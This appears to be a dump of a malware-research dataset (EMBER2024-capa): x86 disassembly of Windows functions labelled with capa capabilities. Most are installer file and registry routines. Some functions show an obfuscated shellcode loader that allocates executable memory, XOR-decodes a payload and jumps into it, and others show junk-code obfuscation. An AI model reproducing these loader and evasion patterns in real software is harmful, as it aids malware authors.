joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d48c007
Capabilities:
Delete registry key

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov eax, dword [esi]
push edi
push 0
push dword [esp + 0x20]
push esi
call dword [eax + 0x2e0]
mov edi, eax
push edi
push dword [esp + 0x1c]
call dword [sym.imp.advapi32.dll_RegDeleteKeyA]
push 0
push edi
push dword [esp + 0x24]
mov ebx, eax
mov eax, dword [esi]
push esi
call dword [eax + 0x300]
pop edi
pop esi
mov eax, ebx
pop ebx
ret 0x10

Function at 0x6d48c34e
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.advapi32.dll_CryptAcquireContextA]
push edi
xor ebx, ebx
push ebx
push 1
push ebx
mov edi, str.J2SE
push edi
lea eax, [ebp - 8]
push eax
mov byte [ebp - 1], bl
call esi
test eax, eax
jne 0x6d48c389
push 8
push 1
push ebx
push edi
lea eax, [ebp - 8]
push eax
call esi
test eax, eax
jne 0x6d48c389
xor al, al
jmp 0x6d48c3da
push dword [ebp + 0x10]
mov esi, dword [ebp + 8]
mov eax, dword [esi]
push esi
call dword [eax + 0x2ac]
push ebx
push dword [ebp + 0x10]
mov dword [ebp + 8], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x2e0]
mov edi, eax
push edi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.advapi32.dll_CryptGenRandom]
test eax, eax
je 0x6d48c3bf
mov byte [ebp - 1], 1
mov eax, dword [esi]
push ebx
push edi
push dword [ebp + 0x10]
push esi
call dword [eax + 0x300]
push ebx
push dword [ebp - 8]
call dword [sym.imp.advapi32.dll_CryptReleaseContext]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x6d48e650
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x6d48e65f
pop dword [ebp - 0x18]
mov eax, 0x6d48e65f
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xdcb3a126
sub dword [ebp - 0x28], 0x8e615bdb
mov dword [ebp - 0x24], 0x42b56372
sub dword [ebp - 0x24], 0x1082172d
mov dword [ebp - 0x20], 0x2771b2a8
sub dword [ebp - 0x20], 0xdb256e7a
mov dword [ebp - 0x1c], 0xa23144ba
sub dword [ebp - 0x1c], 0xa23144ba
lea eax, [ebp - 0x28]
push eax
mov eax, 0xca5b44cb
add eax, 0xa2edec55
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x625b2b85
add dword [ebp - 0x28], 0x12173dd1
mov dword [ebp - 0x24], 0xd0428008
add dword [ebp - 0x24], 0x7129e16d
mov dword [ebp - 0x20], 0xaeb68e51
add dword [ebp - 0x20], 0xb4b8de1b
mov dword [ebp - 0x1c], 0xe98d3e79
sub dword [ebp - 0x1c], 0xe98d3e79
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x7a205ef7
sub eax, 0xcd72ddb
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3b904
push 0
call eax
mov ecx, 0x73af85ae
add ecx, 0x8c50d244
mov edx, eax
mov ebx, 0x8502f131
add ebx, 0xe84702cf
add ebx, dword [ebp - 0x18]
mov edi, 0x742a297c
mov esi, dword [ebx]
xor dword [ebp - 0x14], esi
add esi, edi
mov dword [ebp - 0x14], 0x2bbf2bc8
mov dword [edx], esi
add edx, 0x28eff52a
sub edx, 0x28eff526
add ebx, 0x34f5a782
sub ebx, 0x34f5a77e
loop 0x6d48e776
add eax, 0x1529b
xor ebx, ebx
add ebx, eax
add eax, 0x8fe0a188
sub eax, 0x8fe0a183
mov ecx, 0x6d480000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x403352
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, esi
lea eax, [ebp - 4]
and esi, 0x300
push eax
mov eax, esi
and edi, 1
or al, 9
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00406965
xor ebx, ebx
cmp eax, ebx
jne 0x403435
test byte [ebp + 0x10], 2
je 0x4033b3
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x214]
mov dword [ebp - 8], ebx
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
cmp eax, 0x103
jne 0x40341a
lea eax, [ebp - 0x214]
push 0x105
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
jmp 0x4033ef
test edi, edi
jne 0x40341a
push dword [ebp + 0x10]
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 4]
call fcn.00403352
test eax, eax
jne 0x4033f8
lea eax, [ebp - 0x214]
push 0x105
push eax
push edi
push dword [ebp - 4]
call ebx
test eax, eax
je 0x4033c8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.0040713a
test eax, eax
jne 0x40342a
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x403435
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x3eb
jmp 0x403435
push 0
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40375d
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
test edi, edi
jne 0x40377d
mov dword [ebp - 8], 0x8000
and dword [ebp - 4], 0
mov ebx, edi
test edi, edi
jne 0x40378c
mov ebx, 0x41a050
mov eax, dword [ebp + 8]
test eax, eax
jl 0x4037a1
mov ecx, dword [0x42c418]
add ecx, eax
push ecx
call fcn.00403958
lea eax, [ebp + 0x14]
push 4
push eax
call fcn.00403942
test eax, eax
je 0x4038f9
test byte [ebp + 0x17], 0x80
je 0x4038e2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x40dfc0
mov dword [ebp - 0xc], eax
call fcn.00407295
and dword [ebp + 0x14], 0x7fffffff
mov eax, dword [ebp + 0x14]
mov dword [ebp + 8], eax
jle 0x403938
mov esi, 0x4000
cmp dword [ebp + 0x14], esi
jge 0x4037f1
mov esi, dword [ebp + 0x14]
mov edi, 0x416050
push esi
push edi
call fcn.00403942
test eax, eax
je 0x4038f9
sub dword [ebp + 0x14], esi
mov dword [0x40dfd8], edi
mov dword [0x40dfdc], esi
mov eax, dword [ebp - 8]
mov ecx, 0x40dfc0
mov dword [0x40dfe0], ebx
mov dword [0x40dfe4], eax
call fcn.004072b5
test eax, eax
mov dword [ebp - 0x10], eax
jl 0x4038da
mov esi, dword [0x40dfe0]
sub esi, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test byte [0x42c474], 1
mov edi, eax
je 0x403899
sub eax, dword [ebp - 0xc]
cmp eax, 0xc8
ja 0x403860
cmp dword [ebp + 0x14], 0
jne 0x403899
mov eax, dword [ebp + 8]
push dword [ebp + 8]
sub eax, dword [ebp + 0x14]
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
push eax
lea eax, [ebp - 0x90]
push str....__d__
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x90]
push eax
push 0
call fcn.00405aef
mov dword [ebp - 0xc], edi
test esi, esi
je 0x4038ce
cmp dword [ebp + 0x10], 0
jne 0x4038b6
push esi
push ebx
push dword [ebp + 0xc]
call fcn.0040669a
test eax, eax
je 0x4038de
add dword [ebp - 4], esi
jmp 0x4038c2
add dword [ebp - 4], esi
sub dword [ebp - 8], esi
mov ebx, dword [0x40dfe0]
cmp dword [ebp - 0x10], 1
jne 0x403814
jmp 0x403938
cmp dword [ebp + 0x14], 0
jg 0x4037e4
jmp 0x403938
push 0xfffffffffffffffc
jmp 0x4038fb
push 0xfffffffffffffffe
jmp 0x4038fb
test edi, edi
je 0x40392d
cmp dword [ebp + 0x14], esi
jge 0x4038ee
mov esi, dword [ebp + 0x14]
push esi
push edi
call fcn.00403942
test eax, eax
jne 0x403935
push 0xfffffffffffffffd
pop eax
jmp 0x40393b
mov esi, dword [ebp - 8]
cmp dword [ebp + 0x14], esi
jge 0x403909
mov esi, dword [ebp + 0x14]
mov edi, 0x416050
push esi
push edi
call fcn.00403942
test eax, eax
je 0x4038f9
push esi
push edi
push dword [ebp + 0xc]
call fcn.0040669a
test eax, eax
je 0x4038de
add dword [ebp - 4], esi
sub dword [ebp + 0x14], esi
cmp dword [ebp + 0x14], 0
jg 0x4038fe
jmp 0x403938
mov dword [ebp - 4], esi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x406082
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x427098], 0x44
push eax
xor eax, eax
push 0x427098
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4060c1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x4060c5
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
ret 4

Function at 0x406163
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.004065c3
mov edi, eax
cmp edi, 0xffffffff
je 0x4061a4
test byte [esp + 0x10], 1
push esi
je 0x406186
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x40618c
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x406195
xor eax, eax
inc eax
jmp 0x4061a6
test byte [esp + 0x10], 4
jne 0x4061a4
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x4061ab
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov eax, ebx
push edi
and eax, 4
push esi
mov dword [ebp - 4], eax
call fcn.004064cf
test bl, 8
mov dword [ebp - 8], eax
je 0x4061ea
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x42c448], eax
jmp 0x4063c0
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x406204
test eax, eax
je 0x406342
test bl, 2
je 0x406342
mov edi, 0x426098
push esi
push edi
call fcn.00406af8
cmp dword [ebp + 8], 0
je 0x406223
push str..
push edi
call sub.KERNEL32.dll_lstrcatW
jmp 0x406229
push esi
call fcn.00406413
cmp word [esi], 0
jne 0x406239
cmp word [0x426098], 0x5c
jne 0x406244
push 0x40a524
push esi
call sub.KERNEL32.dll_lstrcatW
push esi
call sub.KERNEL32.dll_lstrlenW
lea ebx, [esi + eax*2]
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x406337
cmp word [ebp - 0x22c], 0x2e
jne 0x406296
cmp word [ebp - 0x22a], 0
je 0x40631a
cmp word [ebp - 0x22a], 0x2e
jne 0x406296
cmp word [ebp - 0x228], 0
je 0x40631a
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.00406af8
test byte [ebp - 0x258], 0x10
je 0x4062c1
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x40631a
push dword [ebp + 0xc]
push esi
call fcn.004061ab
jmp 0x40631a
push esi
push str.Delete:_DeleteFile___s__
call fcn.00407072
pop ecx
pop ecx
push dword [ebp - 4]
push esi
call fcn.00406163
test eax, eax
push esi
jne 0x406313
cmp dword [ebp - 4], eax
je 0x4062ff
push str.Delete:_DeleteFile_on_Reboot___s__
call fcn.00407072
pop ecx
pop ecx
push esi
push 0xfffffffffffffff1
call fcn.00405aef
push 0
push esi
call fcn.004068b8
jmp 0x40631a
push str.Delete:_DeleteFile_failed___s__
call fcn.00407072
inc dword [0x42c448]
pop ecx
pop ecx
jmp 0x40631a
push 0xfffffffffffffff2
call fcn.00405aef
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406266
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x406342
and word [ebx - 2], 0
xor edi, edi
cmp dword [ebp + 8], edi
je 0x4063c0
cmp dword [ebp - 8], edi
push esi
jne 0x406363
push str.RMDir:_RemoveDirectory_invalid_input___s__
call fcn.00407072
inc dword [0x42c448]
pop ecx
pop ecx
jmp 0x4063c0
call fcn.004070a3
test eax, eax
je 0x4063c0
push esi
call fcn.004063c7
push esi
push str.RMDir:_RemoveDirectory___s__
call fcn.00407072
mov eax, dword [ebp - 4]
pop ecx
pop ecx
or al, 1
push eax
push esi
call fcn.00406163
test eax, eax
push esi
jne 0x4063b9
cmp dword [ebp - 4], edi
je 0x4063b2
push str.RMDir:_RemoveDirectory_on_Reboot___s__
call fcn.00407072
pop ecx
pop ecx
push esi
push 0xfffffffffffffff1
call fcn.00405aef
push edi
push esi
call fcn.004068b8
jmp 0x4063c0
push str.RMDir:_RemoveDirectory_failed___s__
jmp 0x406354
push 0xffffffffffffffe5
call fcn.00405aef
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4064cf
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x426898
push esi
call fcn.00406af8
push esi
call fcn.00406472
mov edi, eax
test edi, edi
jne 0x4064f0
xor eax, eax
jmp 0x406548
push edi
call fcn.00406da6
test byte [0x42c3d8], 0x80
je 0x40650d
mov ax, word [edi]
test ax, ax
je 0x4064ec
cmp ax, 0x5c
je 0x4064ec
sub edi, esi
sar edi, 1
jmp 0x406527
call fcn.004070a3
test eax, eax
je 0x406521
test byte [eax], 0x10
je 0x4064ec
push esi
call fcn.00406413
push esi
call sub.KERNEL32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x406513
call fcn.004063c7
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x4065c3
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4065e2
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x4065e8
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
ret 0xc

Function at 0x406617
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40b508]
dec edi
mov dword [ebp - 8], eax
mov eax, dword [0x40b50c]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 0xc]
add word [ebp - 4], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x406667
test edi, edi
jne 0x406624
and word [esi], di
pop edi
pop esi
leave
ret 8
mov eax, esi
jmp 0x406661
Function at 0x40673e
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
test esi, esi
mov dword [0x427730], 0x55004e
mov dword [0x427734], 0x4c
mov edi, 0x400
mov ebp, 0x427730
je 0x406794
push 1
push 0
push esi
call fcn.004065e8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x4068b3
cmp eax, edi
jg 0x4068b3
mov esi, 0x427f30
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x4068b3
cmp eax, edi
jg 0x4068b3
push esi
push ebp
push str._ls_ls_r_n
push 0x427330
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x42c3d0]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00406b35
push 4
push 0xc0000000
push esi
call fcn.004065e8
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x4068b3
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4068ac
push edi
push esi
push ebp
call fcn.0040666b
test eax, eax
je 0x4068ac
push str._Rename__r_n
push esi
call fcn.0040654d
test eax, eax
jne 0x40684a
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x40687f
add eax, 0xa
push 0x40b510
push eax
call fcn.0040654d
mov ebp, eax
test ebp, ebp
je 0x40687b
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x40686c
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x406866
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x406881
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x427330
push eax
call fcn.004065a3
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.0040669a
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4068b8
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x4068db
push dword [esp + 8]
push dword [esp + 8]
call fcn.0040673e
pop ecx
pop ecx
inc dword [0x42c450]
ret 8
Function at 0x4069c6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
mov dword [ebp - 4], 0x800
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00406965
mov esi, dword [ebp + 0x14]
test eax, eax
jne 0x406a36
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp + 0xc]
push esi
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and word [esi + 0x7fe], 0
test edi, edi
pop edi
jne 0x406a36
cmp dword [ebp + 0xc], 1
je 0x406a3a
cmp dword [ebp + 0xc], 2
je 0x406a3a
and word [esi], 0
pop esi
leave
ret 0x14
Function at 0x4070ca
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4070ee
xor eax, eax
test eax, eax
je 0x407101
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x407101
xor ecx, ecx
jmp 0x407104
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a524]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x407227
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x428734], 0
push esi
jne 0x40725e
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x407238
mov dword [ecx*4 + 0x428730], eax
inc ecx
cmp ecx, 0x100
jl 0x407233
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40728f
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x428730]
xor eax, esi
inc ecx
dec edx
jne 0x407271
pop edi
not eax
pop esi
ret 0xc
Function at 0x8330d99
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
mov edi, dword [esi + 0x24]
mov dword [ebp - 0xc], edi
jmp 0x8330dae
mov edi, dword [ebp - 0xc]
mov ecx, dword [esi + 0x64]
mov eax, dword [esi + 0x34]
mov edx, dword [esi + 0x6c]
sub eax, ecx
sub eax, edx
mov dword [ebp - 8], eax
jne 0x8330dcd
test ecx, ecx
jne 0x8330ddb
test edx, edx
jne 0x8330ddb
mov dword [ebp - 8], edi
jmp 0x8330e45
cmp eax, 0xffffffff
jne 0x8330ddb
mov dword [ebp - 8], 0xfffffffe
jmp 0x8330e45
mov eax, dword [esi + 0x24]
lea eax, [edi + eax - 0x106]
cmp ecx, eax
jb 0x8330e45
mov eax, dword [esi + 0x30]
push edi
lea ecx, [eax + edi]
push ecx
push eax
call sub.msvcrt.dll_memcpy
mov ecx, dword [esi + 0x44]
mov eax, dword [esi + 0x3c]
sub dword [esi + 0x68], edi
sub dword [esi + 0x64], edi
add esp, 0xc
sub dword [esi + 0x54], edi
lea eax, [eax + ecx*2]
dec eax
dec eax
movzx edx, word [eax]
mov ebx, edx
sub ebx, edi
cmp edx, edi
sbb edx, edx
not edx
and edx, ebx
dec ecx
mov word [eax], dx
jne 0x8330e0c
mov eax, dword [esi + 0x38]
mov edx, edi
lea eax, [eax + edi*2]
dec eax
dec eax
movzx ecx, word [eax]
mov ebx, ecx
sub ebx, edi
cmp ecx, edi
sbb ecx, ecx
not ecx
and ecx, ebx
dec edx
mov word [eax], cx
jne 0x8330e2b
add dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x8330ee8
mov ebx, dword [esi + 0x6c]
add ebx, dword [esi + 0x64]
mov eax, dword [edi + 4]
mov ecx, dword [ebp - 8]
add ebx, dword [esi + 0x30]
mov dword [ebp - 4], eax
cmp eax, ecx
jbe 0x8330e6a
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
jne 0x8330e74
xor eax, eax
jmp 0x8330ea9
sub eax, dword [ebp - 4]
mov dword [edi + 4], eax
mov eax, dword [edi + 0x1c]
cmp dword [eax + 0x18], 0
jne 0x8330e93
push dword [ebp - 4]
push dword [edi]
push dword [edi + 0x30]
call fcn.08331ed9
mov dword [edi + 0x30], eax
push dword [ebp - 4]
push dword [edi]
push ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x6c], eax
mov edi, dword [esi + 0x6c]
cmp edi, 3
jb 0x8330ed4
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0x30]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x50]
mov dword [esi + 0x40], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x4c]
mov dword [esi + 0x40], eax
cmp edi, 0x106
jae 0x8330ee8
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x8330dab
pop edi
pop ebx
leave
ret
Function at 0x8339304
Capabilities:
Encode data using xor

Disassembly:
call 0x833927d
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x83392ad
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x83392c9
xor edx, 0
jmp 0x83392d4
xor edx, edx
jmp 0x83392eb
jmp 0x83392f7
xor eax, eax
push 0x8427d7c0
call 0x8339304
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x8339340
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x8339319
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x8339357
add eax, 0
jno 0x833935c
add esi, 0
ret 0x10

Function at 0x833a0c5
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x833a0e7
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x833a289
cmp edi, dword [ebp + 0x10]
jb 0x833a289
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.08339bb1
inc edi
jmp 0x833a170
jmp 0x833a17d
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.08339bb1
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.08339bb1
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x833a1d1
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x833a1b5
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.0833a1ff
add dword [eax], 0x39
jle 0x833a1db
sub al, 0xf5
mov ch, al
call fcn.0833a214
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10